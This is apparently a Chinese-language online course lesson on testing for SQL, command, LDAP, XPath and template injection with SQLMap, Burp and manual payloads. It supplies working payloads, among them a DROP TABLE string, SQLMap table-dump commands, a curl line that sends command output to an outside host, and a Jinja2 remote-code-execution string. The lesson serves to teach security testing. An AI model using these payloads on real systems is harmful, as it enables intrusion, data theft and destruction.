测试注入漏洞
使用 SQLMap、手动有效载荷和 Burp,测试 SQL、命令和 LDAP 注入。
测试注入漏洞 是 CoddyKit 上的免费 Cyber Security Academy 课时。 这是第 2 节课,共 4 节。 你可以在下方免费阅读本课时的完整内容 — 然后在浏览器中使用内置代码编辑器和全天候 AI 导师进行实践。 这是 Cyber Security Academy 学习路径的一部分,你的进度在网页和 CoddyKit 应用中同步。 Cyber Security Academy 课程共包含 4 节课。
注入漏洞类别
当不可信数据作为命令或查询的一部分发送给解释器时,就会发生注入。解释器无法区分数据和命令,因此会执行攻击者控制的逻辑。SQL、命令、LDAP、XPath 和模板注入都属于这一类别。
SQL 注入:手动测试
请先使用简单的载荷来探测 SQL 注入。单引号会在存在漏洞的应用中引发 SQL 语法错误。检查错误消息、响应长度差异和响应时间。
# Test for SQLi:
' -- basic quote
'' -- doubled quote
1' OR '1'='1 -- always-true
1; DROP TABLE users -- statement terminator
# In URL:
https://target.com/item?id=1'使用 SQLMap 自动执行 SQL 注入测试
SQLMap 可以自动执行 SQL 注入的检测和利用:检测注入点、识别 DBMS,并能够导出数据库、读取(read)文件,以及在存在漏洞的系统上实现 OS 代码执行。
# Basic scan
sqlmap -u 'http://target.com/item?id=1'
# With Burp request file
sqlmap -r request.txt
# Dump databases
sqlmap -u 'http://target.com/item?id=1' --dbs
# Dump a table
sqlmap -u '...' -D mydb -T users --dump命令注入测试
当用户输入被传递给 OS shell 函数时,就会发生命令注入。请使用 shell 元字符进行测试:分号、管道符、反引号以及 $() 命令替换。
# Test inputs (form fields, URLs, headers):
; id
| id
`id`
$(id)
&& id
# Blind (no output): use time delays
; sleep 5
| ping -c 5 127.0.0.1
# Or out-of-band:
; curl http://collaborator.example.com/$(id)LDAP 注入
LDAP 注入会操纵用于身份验证和目录查询的 LDAP 查询。请使用以下内容测试身份验证字段:*)(uid=*))(|(uid=*,以绕过过滤器。
XPath 注入
XPath 注入的目标是基于 XML 的身份验证系统。它与 SQLi 类似,载荷会操纵 XPath 查询:使用 ' or '1'='1 绕过身份验证。
模板注入(SSTI)
当用户输入被模板引擎(Jinja2、Twig、Freemarker)渲染时,就会发生服务器端模板注入。检测方法是注入 {{7*7}}:如果响应显示 49,则说明存在 SSTI。
# Detection payloads:
{{7*7}} # Jinja2, Twig
${7*7} # Freemarker, EL
<%= 7*7 %> # ERB (Ruby)
# RCE via Jinja2:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}使用 Burp 测试注入
将请求发送到 Repeater,并手动将载荷注入每个参数。使用 Intruder 配合注入字典自动执行模糊测试(SecLists 包含优秀的注入载荷)。
# SecLists injection wordlists:
/usr/share/seclists/Fuzzing/SQLi/
/usr/share/seclists/Fuzzing/SSTI/
/usr/share/seclists/Fuzzing/command-injection*盲注检测
当没有可见输出时,可以使用以下方法:通过时间延迟确认执行,通过带外 DNS 回调(Burp Collaborator 或 interactsh)进行确认,以及观察布尔型响应(内容长度变化)。
读取应用错误消息
详细错误会暴露数据库类型、查询结构和文件路径,这对于构造精确载荷极其有价值。请始终将调试型或可暴露错误的输入与普通载荷一起进行测试。
防御参考
可以通过以下方式防止注入:使用参数化查询防止 SQLi,使用输入验证和 shell 转义防止命令注入,以及避免渲染用户输入来防止 SSTI。开发人员必须理解这些方法,才能编写安全代码。
快速检查
当响应显示 49 时,SSTI 检测载荷 {{7*7}} 确认了什么?
总结:注入测试
注入漏洞是由数据和命令混合造成的。请使用 SQL、命令、模板和 LDAP 注入载荷测试每个由用户控制的输入。使用 SQLMap 自动执行 SQL 注入,使用 Burp Repeater 进行手动测试,并使用时间延迟/OOB 技术进行盲注利用。请始终在报告中记录载荷和证据。
常见问题解答
「测试注入漏洞」课时是免费的吗?
是的 — 「测试注入漏洞」的完整文本可在网页上免费阅读。要进行交互式练习(内置代码编辑器和全天候 AI 导师)并解锁 Cyber Security Academy 课程的其余内容,请升级到 CoddyKit PRO。 Cyber Security Academy 课程共包含 4 节课。
「测试注入漏洞」这节课中我会学到什么?
使用 SQLMap、手动有效载荷和 Burp,测试 SQL、命令和 LDAP 注入。 你通过在浏览器中直接运行的动手代码来练习 Cyber Security Academy,全天候 AI 导师会在你学习这节课的过程中回答你的问题。
学习 Cyber Security Academy 需要有经验吗?
无需任何先前经验。CoddyKit 上的 Cyber Security Academy 课程适合初学者到高级学习者,你可以从这里开始或从头开始,按照自己的节奏学习。 这是第 2 节课,共 4 节。
「测试注入漏洞」课时需要多长时间?
大多数 CoddyKit 课程大约需要 5–10 分钟。每节课都很精短且互动,所以你能稳步进步,并在网页和应用中从离开的地方继续。
我能在这节 Cyber Security Academy 课中编写并运行代码吗?
能。每节 Cyber Security Academy 课都包含内置代码编辑器,你可以在浏览器中直接编写并运行真实代码,并获得即时 AI 反馈 — 无需本地设置。